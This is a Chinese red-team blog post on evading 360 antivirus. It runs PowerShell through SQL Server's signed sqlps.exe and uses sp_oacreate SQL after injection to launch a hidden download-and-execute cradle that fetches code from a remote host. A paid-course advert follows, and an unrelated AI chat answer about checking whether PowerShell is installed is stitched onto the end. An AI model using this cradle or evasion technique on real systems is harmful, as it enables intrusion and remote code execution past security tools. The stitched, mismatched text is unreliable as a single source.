放弃powershell? 启动 sqlps!免杀| 红队攻防

0x00 前言

sql server 默认安装后,会发现有一个 sqlps.exe:

图片

此文件本身自带微软签名:

图片

sqlps的功能,竟然是!启动 powershell???

图片

而且由于此文件无依赖,因此可以单独取出在无sql server机器上运行

0x01 sqlps 上线

之前使用 powershell 上线,360 必拦截:

图片

使用sqlps,360无反应且能正常上线:

图片

图片

0x02 sp_oacreate

sql server 注入后提权的方法比较多,但是被杀软拦截的也比较厉害,xp_cmdshell会被拦,sp_oacreate也会被拦。

declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:/windows/system32/cmd.exe'

图片

declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'C:\Users\Public\SQLPS.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring(''http://192.168.80.138:80/a''))"'

图片

成功上线,弊端是 sql server 默认为service权限,因此对很多目录包括sql server 默认目录都无法执行该程序,因此要提前上传sqlps至C:\Users\Public目录。

 「你即将失去如下所有学习变强机会

学习效率低,学不到实战内容,花几千、上万报机构没有性价比

一顿自助钱,我承诺一定让用户满意,也希望用户能给予我一份信任

详情下方图片了解,【扫下方二维码加入】:只做高质量优质精品内容」

图片


免费红队知识库:

图片

图片

免责声明

由于传播、利用本公众号所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,本公众号及作者不为此承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!

<think>好的,用户现在问如何检查计算机是否安装了PowerShell。首先,我需要回忆之前的对话历史。用户之前遇到了“irm不是内部或外部命令”的问题,我解释了这是PowerShell的命令,并建议他们使用PowerShell。现在用户可能想确认自己是否有安装PowerShell,以便使用相关命令。 接下来,我应该考虑不同的操作系统,因为Windows、Linux和MacOS的检查方法可能不同。用户可能使用的是Windows,但也不能排除其他系统。需要覆盖所有常见系统的情况。 对于Windows用户,常见的方法包括通过开始菜单搜索、命令提示符或运行对话框。比如,在CMD中输入powershell -version,如果安装了就会显示版本号,否则会提示错误。同时,Windows 7及以后版本默认安装的情况需要说明,尤其是Win10和Win11内置了PowerShell,而旧版本可能需要手动安装。 对于Linux用户,通常可以通过终端输入powershell --version来检查,但需要知道不同发行版的安装方式,比如Ubuntu使用apt,CentOS用yum等。MacOS的话,可以用同样的命令,或者通过Homebrew安装。 还要考虑用户可能不太熟悉命令行,所以需要给出简单直接的步骤,比如图形界面的检查方法,比如在开始菜单里搜索。同时,提醒用户如果找不到的话,如何下载安装,给出官方链接,确保安全可靠。 另外,用户可能对版本有疑问,是否需要特定版本的PowerShell才能运行某些命令,比如irm。所以要提到检查版本的重要性,以及如何通过命令查看版本号。 可能需要分步骤说明,结构清晰,让用户一步步跟着操作。同时,注意使用中文,避专业术语过多,保持易懂。最后,可以补充相关问题,引导用户进一步了解,比如如何升级PowerShell或者学习基本命令,这样用户如果有后续问题可以自行解决。</think>要检查计算机是否安装了PowerShell,可以通过以下方法分步骤操作: --- ### **方法1:通过命令行检查** 1. **打开命令提示符(CMD)或终端** - Windows:按 `Win + R` → 输入 `cmd` → 回车 - Linux/Mac:打开终端(Terminal) 2. **输入命令** ```bash powershell -Version ``` - **如果已安装**:会显示版本号(例如:`PowerShell 7.3.4`)。 - **如果未安装**:Windows会提示“不是内部或外部命令”;Linux/Mac会提示“命令未找到”。 --- ### **方法2:图形界面检查(仅Windows)** 1. **开始菜单搜索** - 按 `Win键` → 直接输入 `PowerShell` → 如果出现 **Windows PowerShell** 或 **PowerShell** 应用,则表示已安装。 - Windows 10/11 默认安装,Windows 7需手动安装。 2. **查看系统路径** - PowerShell默认路径为: ```bash C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe ``` --- ### **方法3:检查PowerShell版本(适用于已安装的情况)** 1. **打开PowerShell** - 输入命令: ```powershell $PSVersionTable.PSVersion ``` - 输出示例: ``` Major Minor Build Revision ----- ----- ----- -------- 5 1 22621 2506 ``` --- ### **不同系统的默认安装情况** | 系统 | 默认安装情况 | |-------------|-----------------------------------------------------------------------------| | **Windows** | - Win7/8.1:需手动安装(可通过[官网下载](https://aka.ms/powershell-release))<br>- Win10/11:内置(含Windows PowerShell 5.x和PowerShell 7.x) | | **Linux** | 需手动安装(如Ubuntu:`sudo apt install powershell`) | | **MacOS** | 需手动安装(通过Homebrew:`brew install powershell`) | --- ### **如果未安装怎么办?** 1. **下载地址** - 官方最新版:https://aka.ms/powershell-release 2. **安装后验证** 重复上述检查步骤,确认版本信息。 --- **相关问题**: 1. 如何升级到最新版PowerShell? 2. PowerShell和CMD的命令语法有何不同? 3. 如何在PowerShell中执行基本文件操作?
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

吉吉说安全

感谢打赏,交个朋友!有困难找我

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值